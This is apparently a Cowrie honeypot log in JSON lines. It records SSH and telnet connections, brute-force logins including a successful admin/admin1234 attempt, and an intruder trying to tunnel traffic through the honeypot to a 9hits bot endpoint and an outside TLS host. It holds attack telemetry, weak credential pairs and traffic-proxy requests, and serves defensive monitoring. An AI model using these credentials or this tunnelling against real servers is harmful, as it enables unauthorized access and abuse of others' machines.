{"eventid":"cowrie.login.failed","username":"root","password":"Password@1234","message":"login attempt [root/Password@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:57:32.244374Z","src_ip":"27.71.230.31","session":"379e1a337933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:57:33.137366Z","src_ip":"80.66.85.226","session":"cc4aa2ccd0bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:57:34.361511Z","src_ip":"27.71.230.31","session":"379e1a337933","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":55966,"dst_ip":"10.17.0.5","dst_port":23,"session":"74c237670b79","protocol":"telnet","message":"New connection: 69.6.249.0:55966 (10.17.0.5:23) [session: 74c237670b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:57:42.813751Z"}
{"eventid":"cowrie.session.closed","duration":"71.0","message":"Connection lost after 71.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:57:50.524070Z","src_ip":"38.46.222.137","session":"53e60208b37a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":58536,"dst_ip":"10.17.0.5","dst_port":22,"session":"e521f9027145","protocol":"ssh","message":"New connection: 123.27.168.40:58536 (10.17.0.5:22) [session: e521f9027145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:09.343620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:09.348294Z","src_ip":"123.27.168.40","session":"e521f9027145","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:09.596273Z","src_ip":"123.27.168.40","session":"e521f9027145","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:10.681747Z","src_ip":"123.27.168.40","session":"e521f9027145","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:11.065461Z","session":"e521f9027145","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:11.159372Z","session":"e521f9027145","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:11.702251Z","src_ip":"123.27.168.40","session":"e521f9027145","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1.0; I4312) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 EdgA/91.0.864.48\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=N3ZwWEVwekUhbCRHJitrew%3D%3Dj7Brkn8pS5Ru9sB0TV1BOn3lr2gzj1e5msFzRvAWTnzadHZNmD2AR6AsGeAvvEBtUhVOOdaYVH5VITqBptjO%2Fkh1P%2FChK5OyBFFVPSHd4WoTMyDEnRr75SNPF%2FKEPeRicsWCYyz81jG97JAc0X89SS%2FpecHJVBbcLKYonGXbRhEupb7Jj6Zbuu9xTBjCQjc3xxdvdpRJtVuZ%2B%2BXVwegIYrkYhaHWD5SSzrRDfePyhMNbmr%2FV3Bx%2FvMjWrOr%2FTicirB4WtgkqxY3pod7F%2FfBeVnFLf920ieEZoKKcV1JG%2Bd3HfsfNZ5dNrp5BFPvNms3I6%2Fsli4DvyH%2B4cjKmMDosfpyCuE1jTfwCxOU7DQTf1sAqmJEVBg1BQr16a0QF4NcbWbWEC96mQV5bd%2BWnrPpg3X1aj3gSag8WutZSHnZV7moAzekb925Ie0XykgXMAnqqpOzyKbqlrvEEj%2F9OFzRlRW2E8sCtkKhPN2KtFYgdiRy1XK830I%2BfrLQwYfrzZShobGUbgIzDPDHHUXWyJ3Co8Z%2F4gbyzPFL56iaGvqm3iDElcJTVbvO%2BKtu93VrjZXFAnQpQQq%2FXrKNTbjwIM6UYRgZqaHYPXd9VkbgeIMC69WP6Gb6lg%2BwOkBhez8maU6amIJce92miSDiDhZPoe2iY9MpiShjRl34foFJLlvUlo%2FMWIwbPUBJ6tSpaJSSj4%2Bp59VM34e3Zi4qOJa58qu0V3qLwB9ptpCxt64a4KK%2FTanfEIEQR0PccU6843aaf6QpdWiFbtS%2F7TXxUZ4C9qQZdzg%2BRIiLiSbGTaiOASoH957tprfnOBr3EaUjE5BnD2iHzpGQa%2FlH6V06cTrf2wQFWbJtoYCLsAUaFDkp845r4ClG9DhOJMxZzICxYXP0rCFmJWzzb7CXR3zSyVcNzXyhWvEdOFIENf7GgjHdDDxXUFVat711iiceCiQNolDJXRI%2FojEIRH6qrA1Np8g3KkDZL3XwXMdqZL3%2FNDBKUObF2yV0CTXwGQ9KjG%2BOQItVLiC0teGg3D6KC0KEmlReeSRgijkatWinx0R3OfzJXNQgLHj0YB%2FpaNBP9j7OirrdlHLI%2F'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1.0; I4312) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 EdgA/91.0.864.48\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=N3ZwWEVwekUhbCRHJitrew%3D%3Dj7Brkn8pS5Ru9sB0TV1BOn3lr2gzj1e5msFzRvAWTnzadHZNmD2AR6AsGeAvvEBtUhVOOdaYVH5VITqBptjO%2Fkh1P%2FChK5OyBFFVPSHd4WoTMyDEnRr75SNPF%2FKEPeRicsWCYyz81jG97JAc0X89SS%2FpecHJVBbcLKYonGXbRhEupb7Jj6Zbuu9xTBjCQjc3xxdvdpRJtVuZ%2B%2BXVwegIYrkYhaHWD5SSzrRDfePyhMNbmr%2FV3Bx%2FvMjWrOr%2FTicirB4WtgkqxY3pod7F%2FfBeVnFLf920ieEZoKKcV1JG%2Bd3HfsfNZ5dNrp5BFPvNms3I6%2Fsli4DvyH%2B4cjKmMDosfpyCuE1jTfwCxOU7DQTf1sAqmJEVBg1BQr16a0QF4NcbWbWEC96mQV5bd%2BWnrPpg3X1aj3gSag8WutZSHnZV7moAzekb925Ie0XykgXMAnqqpOzyKbqlrvEEj%2F9OFzRlRW2E8sCtkKhPN2KtFYgdiRy1XK830I%2BfrLQwYfrzZShobGUbgIzDPDHHUXWyJ3Co8Z%2F4gbyzPFL56iaGvqm3iDElcJTVbvO%2BKtu93VrjZXFAnQpQQq%2FXrKNTbjwIM6UYRgZqaHYPXd9VkbgeIMC69WP6Gb6lg%2BwOkBhez8maU6amIJce92miSDiDhZPoe2iY9MpiShjRl34foFJLlvUlo%2FMWIwbPUBJ6tSpaJSSj4%2Bp59VM34e3Zi4qOJa58qu0V3qLwB9ptpCxt64a4KK%2FTanfEIEQR0PccU6843aaf6QpdWiFbtS%2F7TXxUZ4C9qQZdzg%2BRIiLiSbGTaiOASoH957tprfnOBr3EaUjE5BnD2iHzpGQa%2FlH6V06cTrf2wQFWbJtoYCLsAUaFDkp845r4ClG9DhOJMxZzICxYXP0rCFmJWzzb7CXR3zSyVcNzXyhWvEdOFIENf7GgjHdDDxXUFVat711iiceCiQNolDJXRI%2FojEIRH6qrA1Np8g3KkDZL3XwXMdqZL3%2FNDBKUObF2yV0CTXwGQ9KjG%2BOQItVLiC0teGg3D6KC0KEmlReeSRgijkatWinx0R3OfzJXNQgLHj0YB%2FpaNBP9j7OirrdlHLI%2F'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:11.707367Z","src_ip":"123.27.168.40","session":"e521f9027145","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:11.710713Z","src_ip":"123.27.168.40","session":"e521f9027145","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdea\\xf9\\xed\\xd9\\xd6\\xffF\\xdc\\x8e\\x13e\\xb1\\xe6s\\xe0\\\\\\x06\\xf1*\\x04D\\x1e\\xa5b\\xb0s\\xcbg\\x1a\\tF \\x08\\xe7\\xd1\\xbc\\x04I\\xd94\\xdcwp\\xe1\\xb5R\\x95?(\\xb6?\\xdd\\xdf\\x1d*\\xcdE\\xb0\\x8b\\x1a\\xd1r\\x02K\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 V\\\\T\\xc0\\xc6\\xb61\\xcb\\xf8*m\\xb1\\x17\\x04\\xdf\\xdf0\\xadN\\x0f>\\x16jy*\\xaaS\\x05\\x8e\\xa9]T\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdea\\xf9\\xed\\xd9\\xd6\\xffF\\xdc\\x8e\\x13e\\xb1\\xe6s\\xe0\\\\\\x06\\xf1*\\x04D\\x1e\\xa5b\\xb0s\\xcbg\\x1a\\tF \\x08\\xe7\\xd1\\xbc\\x04I\\xd94\\xdcwp\\xe1\\xb5R\\x95?(\\xb6?\\xdd\\xdf\\x1d*\\xcdE\\xb0\\x8b\\x1a\\xd1r\\x02K\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 V\\\\T\\xc0\\xc6\\xb61\\xcb\\xf8*m\\xb1\\x17\\x04\\xdf\\xdf0\\xadN\\x0f>\\x16jy*\\xaaS\\x05\\x8e\\xa9]T\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:11.713506Z","src_ip":"123.27.168.40","session":"e521f9027145","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:11.961533Z","session":"e521f9027145","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:12.210411Z","src_ip":"123.27.168.40","session":"e521f9027145","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03<b\\x9a\\xb0\\xf3\\x85\\x11\\x7fk\\xf0\\xee\\x8d\\x84C\\xf1\\xea\\x0e\\xe0&\\xcc\\xc9A4\\xef\\xc3\\xb9\\xe7\\xcf%J\\xe3\\x89 3\\xdb\\x15\\xce\\xed\\x0c\\x84\\xfd\\xf9\\x84\\xe4i\\x0f\\x1f\\xa8cp\\x99\\xbd\\xf1\\xb2<\\xde\\xc6p\\xe9\\xc3(\\x0f\\xb7|\\xf6\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 N\\x1fJ\\xea\\xab\\x9f{\\xfb\\\\\\x98\\xfam\\xc0\\xfeE\\xd3\\xb0c\\xc9\\xe1\\xf2[\\xed7\\xe0\\x86\\xed\\x93\\x82\\xe9w8\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03<b\\x9a\\xb0\\xf3\\x85\\x11\\x7fk\\xf0\\xee\\x8d\\x84C\\xf1\\xea\\x0e\\xe0&\\xcc\\xc9A4\\xef\\xc3\\xb9\\xe7\\xcf%J\\xe3\\x89 3\\xdb\\x15\\xce\\xed\\x0c\\x84\\xfd\\xf9\\x84\\xe4i\\x0f\\x1f\\xa8cp\\x99\\xbd\\xf1\\xb2<\\xde\\xc6p\\xe9\\xc3(\\x0f\\xb7|\\xf6\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 N\\x1fJ\\xea\\xab\\x9f{\\xfb\\\\\\x98\\xfam\\xc0\\xfeE\\xd3\\xb0c\\xc9\\xe1\\xf2[\\xed7\\xe0\\x86\\xed\\x93\\x82\\xe9w8\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:12.214095Z","src_ip":"123.27.168.40","session":"e521f9027145","protocol":"ssh"}
